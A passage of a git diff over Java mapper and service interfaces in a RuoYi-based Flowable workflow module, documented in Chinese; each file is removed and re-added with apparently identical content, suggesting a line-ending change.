diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/ActHiTaskinstMapper.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/ActHiTaskinstMapper.java index 363e2a0..2dd19ba 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/ActHiTaskinstMapper.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/ActHiTaskinstMapper.java @@ -1,16 +1,16 @@ -package org.dromara.workflow.mapper; - -import com.baomidou.mybatisplus.annotation.InterceptorIgnore; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.workflow.domain.ActHiTaskinst; - -/** - * 流程历史任务Mapper接口 - * - * @author may - * @date 2024-03-02 - */ -@InterceptorIgnore(tenantLine = "true") -public interface ActHiTaskinstMapper extends BaseMapperPlus { - -} +package org.dromara.workflow.mapper; + +import com.baomidou.mybatisplus.annotation.InterceptorIgnore; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.workflow.domain.ActHiTaskinst; + +/** + * 流程历史任务Mapper接口 + * + * @author may + * @date 2024-03-02 + */ +@InterceptorIgnore(tenantLine = "true") +public interface ActHiTaskinstMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/ActTaskMapper.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/ActTaskMapper.java index 63c5ecb..d80fdaf 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/ActTaskMapper.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/ActTaskMapper.java @@ -1,47 +1,47 @@ -package org.dromara.workflow.mapper; - -import com.baomidou.mybatisplus.annotation.InterceptorIgnore; -import com.baomidou.mybatisplus.core.conditions.Wrapper; -import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; -import com.baomidou.mybatisplus.core.toolkit.Constants; -import com.baomidou.mybatisplus.extension.plugins.pagination.Page; -import org.apache.ibatis.annotations.Param; -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.workflow.domain.vo.TaskVo; - - -/** - * 任务信息Mapper接口 - * - * @author may - * @date 2024-03-02 - */ -@InterceptorIgnore(tenantLine = "true") -public interface ActTaskMapper extends BaseMapperPlus { - /** - * 获取待办信息 - * - * @param page 分页 - * @param queryWrapper 条件 - * @return 结果 - */ - Page getTaskWaitByPage(@Param("page") Page page, @Param(Constants.WRAPPER) Wrapper queryWrapper); - - /** - * 获取已办 - * - * @param page 分页 - * @param queryWrapper 条件 - * @return 结果 - */ - Page getTaskFinishByPage(@Param("page") Page page, @Param(Constants.WRAPPER) Wrapper queryWrapper); - - /** - * 查询当前用户的抄送 - * - * @param page 分页 - * @param queryWrapper 条件 - * @return 结果 - */ - Page getTaskCopyByPage(@Param("page") Page page, @Param(Constants.WRAPPER) QueryWrapper queryWrapper); -} +package org.dromara.workflow.mapper; + +import com.baomidou.mybatisplus.annotation.InterceptorIgnore; +import com.baomidou.mybatisplus.core.conditions.Wrapper; +import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; +import com.baomidou.mybatisplus.core.toolkit.Constants; +import com.baomidou.mybatisplus.extension.plugins.pagination.Page; +import org.apache.ibatis.annotations.Param; +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.workflow.domain.vo.TaskVo; + + +/** + * 任务信息Mapper接口 + * + * @author may + * @date 2024-03-02 + */ +@InterceptorIgnore(tenantLine = "true") +public interface ActTaskMapper extends BaseMapperPlus { + /** + * 获取待办信息 + * + * @param page 分页 + * @param queryWrapper 条件 + * @return 结果 + */ + Page getTaskWaitByPage(@Param("page") Page page, @Param(Constants.WRAPPER) Wrapper queryWrapper); + + /** + * 获取已办 + * + * @param page 分页 + * @param queryWrapper 条件 + * @return 结果 + */ + Page getTaskFinishByPage(@Param("page") Page page, @Param(Constants.WRAPPER) Wrapper queryWrapper); + + /** + * 查询当前用户的抄送 + * + * @param page 分页 + * @param queryWrapper 条件 + * @return 结果 + */ + Page getTaskCopyByPage(@Param("page") Page page, @Param(Constants.WRAPPER) QueryWrapper queryWrapper); +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/TActivityMapper.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/TActivityMapper.java index 36a12c5..88fbb93 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/TActivityMapper.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/TActivityMapper.java @@ -1,16 +1,16 @@ -package org.dromara.workflow.mapper; - - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.workflow.domain.TActivity; -import org.dromara.workflow.domain.vo.TActivityVo; - -/** - * 活动Mapper接口 - * - * @author Lion Li - * @date 2024-07-19 - */ -public interface TActivityMapper extends BaseMapperPlus { - -} +package org.dromara.workflow.mapper; + + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.workflow.domain.TActivity; +import org.dromara.workflow.domain.vo.TActivityVo; + +/** + * 活动Mapper接口 + * + * @author Lion Li + * @date 2024-07-19 + */ +public interface TActivityMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/TestLeaveMapper.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/TestLeaveMapper.java index cd1edba..66e3173 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/TestLeaveMapper.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/TestLeaveMapper.java @@ -1,15 +1,15 @@ -package org.dromara.workflow.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.workflow.domain.TestLeave; -import org.dromara.workflow.domain.vo.TestLeaveVo; - -/** - * 请假Mapper接口 - * - * @author may - * @date 2023-07-21 - */ -public interface TestLeaveMapper extends BaseMapperPlus { - -} +package org.dromara.workflow.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.workflow.domain.TestLeave; +import org.dromara.workflow.domain.vo.TestLeaveVo; + +/** + * 请假Mapper接口 + * + * @author may + * @date 2023-07-21 + */ +public interface TestLeaveMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfCategoryMapper.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfCategoryMapper.java index 98aea02..caab4a5 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfCategoryMapper.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfCategoryMapper.java @@ -1,15 +1,15 @@ -package org.dromara.workflow.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.workflow.domain.WfCategory; -import org.dromara.workflow.domain.vo.WfCategoryVo; - -/** - * 流程分类Mapper接口 - * - * @author may - * @date 2023-06-27 - */ -public interface WfCategoryMapper extends BaseMapperPlus { - -} +package org.dromara.workflow.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.workflow.domain.WfCategory; +import org.dromara.workflow.domain.vo.WfCategoryVo; + +/** + * 流程分类Mapper接口 + * + * @author may + * @date 2023-06-27 + */ +public interface WfCategoryMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfDefinitionConfigMapper.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfDefinitionConfigMapper.java index a651400..6086c53 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfDefinitionConfigMapper.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfDefinitionConfigMapper.java @@ -1,15 +1,15 @@ -package org.dromara.workflow.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.workflow.domain.WfDefinitionConfig; -import org.dromara.workflow.domain.vo.WfDefinitionConfigVo; - -/** - * 流程定义配置Mapper接口 - * - * @author may - * @date 2024-03-18 - */ -public interface WfDefinitionConfigMapper extends BaseMapperPlus { - -} +package org.dromara.workflow.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.workflow.domain.WfDefinitionConfig; +import org.dromara.workflow.domain.vo.WfDefinitionConfigVo; + +/** + * 流程定义配置Mapper接口 + * + * @author may + * @date 2024-03-18 + */ +public interface WfDefinitionConfigMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfFormManageMapper.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfFormManageMapper.java index ebae890..790cb16 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfFormManageMapper.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfFormManageMapper.java @@ -1,15 +1,15 @@ -package org.dromara.workflow.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.workflow.domain.WfFormManage; -import org.dromara.workflow.domain.vo.WfFormManageVo; - -/** - * 表单管理Mapper接口 - * - * @author may - * @date 2024-03-29 - */ -public interface WfFormManageMapper extends BaseMapperPlus { - -} +package org.dromara.workflow.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.workflow.domain.WfFormManage; +import org.dromara.workflow.domain.vo.WfFormManageVo; + +/** + * 表单管理Mapper接口 + * + * @author may + * @date 2024-03-29 + */ +public interface WfFormManageMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfNodeConfigMapper.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfNodeConfigMapper.java index b13bca1..7e17830 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfNodeConfigMapper.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfNodeConfigMapper.java @@ -1,15 +1,15 @@ -package org.dromara.workflow.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.workflow.domain.WfNodeConfig; -import org.dromara.workflow.domain.vo.WfNodeConfigVo; - -/** - * 节点配置Mapper接口 - * - * @author may - * @date 2024-03-30 - */ -public interface WfNodeConfigMapper extends BaseMapperPlus { - -} +package org.dromara.workflow.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.workflow.domain.WfNodeConfig; +import org.dromara.workflow.domain.vo.WfNodeConfigVo; + +/** + * 节点配置Mapper接口 + * + * @author may + * @date 2024-03-30 + */ +public interface WfNodeConfigMapper extends BaseMapperPlus { + +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfTaskBackNodeMapper.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfTaskBackNodeMapper.java index 9b291fe..8312d63 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfTaskBackNodeMapper.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/mapper/WfTaskBackNodeMapper.java @@ -1,13 +1,13 @@ -package org.dromara.workflow.mapper; - -import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; -import org.dromara.workflow.domain.WfTaskBackNode; - -/** - * 节点驳回记录Mapper接口 - * - * @author may - * @date 2024-03-13 - */ -public interface WfTaskBackNodeMapper extends BaseMapperPlus { -} +package org.dromara.workflow.mapper; + +import org.dromara.common.mybatis.core.mapper.BaseMapperPlus; +import org.dromara.workflow.domain.WfTaskBackNode; + +/** + * 节点驳回记录Mapper接口 + * + * @author may + * @date 2024-03-13 + */ +public interface WfTaskBackNodeMapper extends BaseMapperPlus { +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActHiProcinstService.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActHiProcinstService.java index e802c69..721213b 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActHiProcinstService.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActHiProcinstService.java @@ -1,31 +1,31 @@ -package org.dromara.workflow.service; - - -import org.dromara.workflow.domain.ActHiProcinst; - -import java.util.List; - -/** - * 流程实例Service接口 - * - * @author may - * @date 2023-07-22 - */ -public interface IActHiProcinstService { - - /** - * 按照业务id查询 - * - * @param businessKeys 业务id - * @return 结果 - */ - List selectByBusinessKeyIn(List businessKeys); - - /** - * 按照业务id查询 - * - * @param businessKey 业务id - * @return 结果 - */ - ActHiProcinst selectByBusinessKey(String businessKey); -} +package org.dromara.workflow.service; + + +import org.dromara.workflow.domain.ActHiProcinst; + +import java.util.List; + +/** + * 流程实例Service接口 + * + * @author may + * @date 2023-07-22 + */ +public interface IActHiProcinstService { + + /** + * 按照业务id查询 + * + * @param businessKeys 业务id + * @return 结果 + */ + List selectByBusinessKeyIn(List businessKeys); + + /** + * 按照业务id查询 + * + * @param businessKey 业务id + * @return 结果 + */ + ActHiProcinst selectByBusinessKey(String businessKey); +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActHiTaskinstService.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActHiTaskinstService.java index ad286e2..27be41b 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActHiTaskinstService.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActHiTaskinstService.java @@ -1,11 +1,11 @@ -package org.dromara.workflow.service; - - -/** - * 流程历史任务Service接口 - * - * @author may - * @date 2024-03-02 - */ -public interface IActHiTaskinstService { -} +package org.dromara.workflow.service; + + +/** + * 流程历史任务Service接口 + * + * @author may + * @date 2024-03-02 + */ +public interface IActHiTaskinstService { +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActModelService.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActModelService.java index 4a6d170..9b7910a 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActModelService.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActModelService.java @@ -1,83 +1,83 @@ -package org.dromara.workflow.service; - -import jakarta.servlet.http.HttpServletResponse; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.workflow.domain.bo.ModelBo; -import org.dromara.workflow.domain.vo.ModelVo; -import org.flowable.engine.repository.Model; - -import java.util.List; - - -/** - * 模型管理 服务层 - * - * @author may - */ -public interface IActModelService { - /** - * 分页查询模型 - * - * @param modelBo 模型参数 - * @param pageQuery 参数 - * @return 返回分页列表 - */ - TableDataInfo page(ModelBo modelBo, PageQuery pageQuery); - - /** - * 新增模型 - * - * @param modelBo 模型请求对象 - * @return 结果 - */ - boolean saveNewModel(ModelBo modelBo); - - /** - * 查询模型 - * - * @param modelId 模型id - * @return 模型数据 - */ - ModelVo getInfo(String modelId); - - /** - * 修改模型信息 - * - * @param modelBo 模型数据 - * @return 结果 - */ - boolean update(ModelBo modelBo); - - /** - * 编辑模型XML - * - * @param modelBo 模型数据 - * @return 结果 - */ - boolean editModelXml(ModelBo modelBo); - - /** - * 模型部署 - * - * @param id 模型id - * @return 结果 - */ - boolean modelDeploy(String id); - - /** - * 导出模型zip压缩包 - * - * @param modelIds 模型id - * @param response 响应 - */ - void exportZip(List modelIds, HttpServletResponse response); - - /** - * 复制模型 - * - * @param modelBo 模型数据 - * @return 结果 - */ - boolean copyModel(ModelBo modelBo); -} +package org.dromara.workflow.service; + +import jakarta.servlet.http.HttpServletResponse; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.workflow.domain.bo.ModelBo; +import org.dromara.workflow.domain.vo.ModelVo; +import org.flowable.engine.repository.Model; + +import java.util.List; + + +/** + * 模型管理 服务层 + * + * @author may + */ +public interface IActModelService { + /** + * 分页查询模型 + * + * @param modelBo 模型参数 + * @param pageQuery 参数 + * @return 返回分页列表 + */ + TableDataInfo page(ModelBo modelBo, PageQuery pageQuery); + + /** + * 新增模型 + * + * @param modelBo 模型请求对象 + * @return 结果 + */ + boolean saveNewModel(ModelBo modelBo); + + /** + * 查询模型 + * + * @param modelId 模型id + * @return 模型数据 + */ + ModelVo getInfo(String modelId); + + /** + * 修改模型信息 + * + * @param modelBo 模型数据 + * @return 结果 + */ + boolean update(ModelBo modelBo); + + /** + * 编辑模型XML + * + * @param modelBo 模型数据 + * @return 结果 + */ + boolean editModelXml(ModelBo modelBo); + + /** + * 模型部署 + * + * @param id 模型id + * @return 结果 + */ + boolean modelDeploy(String id); + + /** + * 导出模型zip压缩包 + * + * @param modelIds 模型id + * @param response 响应 + */ + void exportZip(List modelIds, HttpServletResponse response); + + /** + * 复制模型 + * + * @param modelBo 模型数据 + * @return 结果 + */ + boolean copyModel(ModelBo modelBo); +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActProcessDefinitionService.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActProcessDefinitionService.java index 5d00e41..87affd4 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActProcessDefinitionService.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActProcessDefinitionService.java @@ -1,91 +1,91 @@ -package org.dromara.workflow.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.workflow.domain.bo.ProcessDefinitionBo; -import org.dromara.workflow.domain.vo.ProcessDefinitionVo; -import org.springframework.web.multipart.MultipartFile; - -import java.util.List; - -/** - * 流程定义 服务层 - * - * @author may - */ -public interface IActProcessDefinitionService { - /** - * 分页查询 - * - * @param processDefinitionBo 参数 - * @param pageQuery 分页 - * @return 返回分页列表 - */ - TableDataInfo page(ProcessDefinitionBo processDefinitionBo, PageQuery pageQuery); - - /** - * 查询历史流程定义列表 - * - * @param key 流程定义key - * @return 结果 - */ - List getListByKey(String key); - - /** - * 查看流程定义图片 - * - * @param processDefinitionId 流程定义id - * @return 结果 - */ - String definitionImage(String processDefinitionId); - - /** - * 查看流程定义xml文件 - * - * @param processDefinitionId 流程定义id - * @return 结果 - */ - String definitionXml(String processDefinitionId); - - /** - * 删除流程定义 - * - * @param deploymentIds 部署id - * @param processDefinitionIds 流程定义id - * @return 结果 - */ - boolean deleteDeployment(List deploymentIds, List processDefinitionIds); - - /** - * 激活或者挂起流程定义 - * - * @param processDefinitionId 流程定义id - * @return 结果 - */ - boolean updateDefinitionState(String processDefinitionId); - - /** - * 迁移流程定义 - * - * @param currentProcessDefinitionId 当前流程定义id - * @param fromProcessDefinitionId 需要迁移到的流程定义id - * @return 结果 - */ - boolean migrationDefinition(String currentProcessDefinitionId, String fromProcessDefinitionId); - - /** - * 流程定义转换为模型 - * - * @param processDefinitionId 流程定义id - * @return 结果 - */ - boolean convertToModel(String processDefinitionId); - - /** - * 通过zip或xml部署流程定义 - * - * @param file 文件 - * @param categoryCode 分类 - */ - void deployByFile(MultipartFile file, String categoryCode); -} +package org.dromara.workflow.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.workflow.domain.bo.ProcessDefinitionBo; +import org.dromara.workflow.domain.vo.ProcessDefinitionVo; +import org.springframework.web.multipart.MultipartFile; + +import java.util.List; + +/** + * 流程定义 服务层 + * + * @author may + */ +public interface IActProcessDefinitionService { + /** + * 分页查询 + * + * @param processDefinitionBo 参数 + * @param pageQuery 分页 + * @return 返回分页列表 + */ + TableDataInfo page(ProcessDefinitionBo processDefinitionBo, PageQuery pageQuery); + + /** + * 查询历史流程定义列表 + * + * @param key 流程定义key + * @return 结果 + */ + List getListByKey(String key); + + /** + * 查看流程定义图片 + * + * @param processDefinitionId 流程定义id + * @return 结果 + */ + String definitionImage(String processDefinitionId); + + /** + * 查看流程定义xml文件 + * + * @param processDefinitionId 流程定义id + * @return 结果 + */ + String definitionXml(String processDefinitionId); + + /** + * 删除流程定义 + * + * @param deploymentIds 部署id + * @param processDefinitionIds 流程定义id + * @return 结果 + */ + boolean deleteDeployment(List deploymentIds, List processDefinitionIds); + + /** + * 激活或者挂起流程定义 + * + * @param processDefinitionId 流程定义id + * @return 结果 + */ + boolean updateDefinitionState(String processDefinitionId); + + /** + * 迁移流程定义 + * + * @param currentProcessDefinitionId 当前流程定义id + * @param fromProcessDefinitionId 需要迁移到的流程定义id + * @return 结果 + */ + boolean migrationDefinition(String currentProcessDefinitionId, String fromProcessDefinitionId); + + /** + * 流程定义转换为模型 + * + * @param processDefinitionId 流程定义id + * @return 结果 + */ + boolean convertToModel(String processDefinitionId); + + /** + * 通过zip或xml部署流程定义 + * + * @param file 文件 + * @param categoryCode 分类 + */ + void deployByFile(MultipartFile file, String categoryCode); +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActProcessInstanceService.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActProcessInstanceService.java index ca3b6fb..21ed444 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActProcessInstanceService.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActProcessInstanceService.java @@ -1,110 +1,110 @@ -package org.dromara.workflow.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.workflow.domain.bo.ProcessInstanceBo; -import org.dromara.workflow.domain.bo.ProcessInvalidBo; -import org.dromara.workflow.domain.bo.TaskUrgingBo; -import org.dromara.workflow.domain.vo.ActHistoryInfoVo; -import org.dromara.workflow.domain.vo.ProcessInstanceVo; - -import java.util.List; -import java.util.Map; - -/** - * 流程实例 服务层 - * - * @author may - */ -public interface IActProcessInstanceService { - /** - * 通过流程实例id获取历史流程图 - * - * @param businessKey 流程实例id - * @return 结果 - */ - String getHistoryImage(String businessKey); - - /** - * 通过业务id获取历史流程图运行中,历史等节点 - * - * @param businessKey 业务id - * @return 结果 - */ - Map getHistoryList(String businessKey); - - /** - * 分页查询正在运行的流程实例 - * - * @param processInstanceBo 参数 - * @param pageQuery 分页 - * @return 结果 - */ - TableDataInfo getPageByRunning(ProcessInstanceBo processInstanceBo, PageQuery pageQuery); - - /** - * 分页查询已结束的流程实例 - * - * @param processInstanceBo 参数 - * @param pageQuery 分页 - * @return 结果 - */ - TableDataInfo getPageByFinish(ProcessInstanceBo processInstanceBo, PageQuery pageQuery); - - /** - * 获取审批记录 - * - * @param businessKey 业务id - * @return 结果 - */ - List getHistoryRecord(String businessKey); - - /** - * 作废流程实例,不会删除历史记录(删除运行中的实例) - * - * @param processInvalidBo 参数 - * @return 结果 - */ - boolean deleteRunInstance(ProcessInvalidBo processInvalidBo); - - /** - * 运行中的实例 删除程实例,删除历史记录,删除业务与流程关联信息 - * - * @param businessKeys 业务id - * @return 结果 - */ - boolean deleteRunAndHisInstance(List businessKeys); - - /** - * 已完成的实例 删除程实例,删除历史记录,删除业务与流程关联信息 - * - * @param businessKeys 业务id - * @return 结果 - */ - boolean deleteFinishAndHisInstance(List businessKeys); - - /** - * 撤销流程申请 - * - * @param businessKey 业务id - * @return 结果 - */ - boolean cancelProcessApply(String businessKey); - - /** - * 分页查询当前登录人单据 - * - * @param processInstanceBo 参数 - * @param pageQuery 分页 - * @return 结果 - */ - TableDataInfo getPageByCurrent(ProcessInstanceBo processInstanceBo, PageQuery pageQuery); - - /** - * 任务催办(给当前任务办理人发送站内信,邮件,短信等) - * - * @param taskUrgingBo 任务催办 - * @return 结果 - */ - boolean taskUrging(TaskUrgingBo taskUrgingBo); -} +package org.dromara.workflow.service; + +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.workflow.domain.bo.ProcessInstanceBo; +import org.dromara.workflow.domain.bo.ProcessInvalidBo; +import org.dromara.workflow.domain.bo.TaskUrgingBo; +import org.dromara.workflow.domain.vo.ActHistoryInfoVo; +import org.dromara.workflow.domain.vo.ProcessInstanceVo; + +import java.util.List; +import java.util.Map; + +/** + * 流程实例 服务层 + * + * @author may + */ +public interface IActProcessInstanceService { + /** + * 通过流程实例id获取历史流程图 + * + * @param businessKey 流程实例id + * @return 结果 + */ + String getHistoryImage(String businessKey); + + /** + * 通过业务id获取历史流程图运行中,历史等节点 + * + * @param businessKey 业务id + * @return 结果 + */ + Map getHistoryList(String businessKey); + + /** + * 分页查询正在运行的流程实例 + * + * @param processInstanceBo 参数 + * @param pageQuery 分页 + * @return 结果 + */ + TableDataInfo getPageByRunning(ProcessInstanceBo processInstanceBo, PageQuery pageQuery); + + /** + * 分页查询已结束的流程实例 + * + * @param processInstanceBo 参数 + * @param pageQuery 分页 + * @return 结果 + */ + TableDataInfo getPageByFinish(ProcessInstanceBo processInstanceBo, PageQuery pageQuery); + + /** + * 获取审批记录 + * + * @param businessKey 业务id + * @return 结果 + */ + List getHistoryRecord(String businessKey); + + /** + * 作废流程实例,不会删除历史记录(删除运行中的实例) + * + * @param processInvalidBo 参数 + * @return 结果 + */ + boolean deleteRunInstance(ProcessInvalidBo processInvalidBo); + + /** + * 运行中的实例 删除程实例,删除历史记录,删除业务与流程关联信息 + * + * @param businessKeys 业务id + * @return 结果 + */ + boolean deleteRunAndHisInstance(List businessKeys); + + /** + * 已完成的实例 删除程实例,删除历史记录,删除业务与流程关联信息 + * + * @param businessKeys 业务id + * @return 结果 + */ + boolean deleteFinishAndHisInstance(List businessKeys); + + /** + * 撤销流程申请 + * + * @param businessKey 业务id + * @return 结果 + */ + boolean cancelProcessApply(String businessKey); + + /** + * 分页查询当前登录人单据 + * + * @param processInstanceBo 参数 + * @param pageQuery 分页 + * @return 结果 + */ + TableDataInfo getPageByCurrent(ProcessInstanceBo processInstanceBo, PageQuery pageQuery); + + /** + * 任务催办(给当前任务办理人发送站内信,邮件,短信等) + * + * @param taskUrgingBo 任务催办 + * @return 结果 + */ + boolean taskUrging(TaskUrgingBo taskUrgingBo); +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActTaskService.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActTaskService.java index 8e9f763..32cd8fa 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActTaskService.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/IActTaskService.java @@ -1,161 +1,161 @@ -package org.dromara.workflow.service; - -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.workflow.domain.bo.*; -import org.dromara.workflow.domain.vo.TaskVo; -import org.dromara.workflow.domain.vo.VariableVo; - -import java.util.List; -import java.util.Map; - -/** - * 任务 服务层 - * - * @author may - */ -public interface IActTaskService { - /** - * 启动任务 - * - * @param startProcessBo 启动流程参数 - * @return 结果 - */ - Map startWorkFlow(StartProcessBo startProcessBo); - - - /** - * 办理任务 - * - * @param completeTaskBo 办理任务参数 - * @return 结果 - */ - boolean completeTask(CompleteTaskBo completeTaskBo); - - /** - * 查询当前用户的待办任务 - * - * @param taskBo 参数 - * @param pageQuery 分页 - * @return 结果 - */ - TableDataInfo getPageByTaskWait(TaskBo taskBo, PageQuery pageQuery); - - /** - * 查询当前租户所有待办任务 - * - * @param taskBo 参数 - * @param pageQuery 分页 - * @return 结果 - */ - TableDataInfo getPageByAllTaskWait(TaskBo taskBo, PageQuery pageQuery); - - - /** - * 查询当前用户的已办任务 - * - * @param taskBo 参数 - * @param pageQuery 参数 - * @return 结果 - */ - TableDataInfo getPageByTaskFinish(TaskBo taskBo, PageQuery pageQuery); - - /** - * 查询当前用户的抄送 - * - * @param taskBo 参数 - * @param pageQuery 参数 - * @return 结果 - */ - TableDataInfo getPageByTaskCopy(TaskBo taskBo, PageQuery pageQuery); - - /** - * 查询当前租户所有已办任务 - * - * @param taskBo 参数 - * @param pageQuery 参数 - * @return 结果 - */ - TableDataInfo getPageByAllTaskFinish(TaskBo taskBo, PageQuery pageQuery); - - /** - * 委派任务 - * - * @param delegateBo 参数 - * @return 结果 - */ - boolean delegateTask(DelegateBo delegateBo); - - /** - * 终止任务 - * - * @param terminationBo 参数 - * @return 结果 - */ - boolean terminationTask(TerminationBo terminationBo); - - /** - * 转办任务 - * - * @param transmitBo 参数 - * @return 结果 - */ - boolean transferTask(TransmitBo transmitBo); - - /** - * 会签任务加签 - * - * @param addMultiBo 参数 - * @return 结果 - */ - boolean addMultiInstanceExecution(AddMultiBo addMultiBo); - - /** - * 会签任务减签 - * - * @param deleteMultiBo 参数 - * @return 结果 - */ - boolean 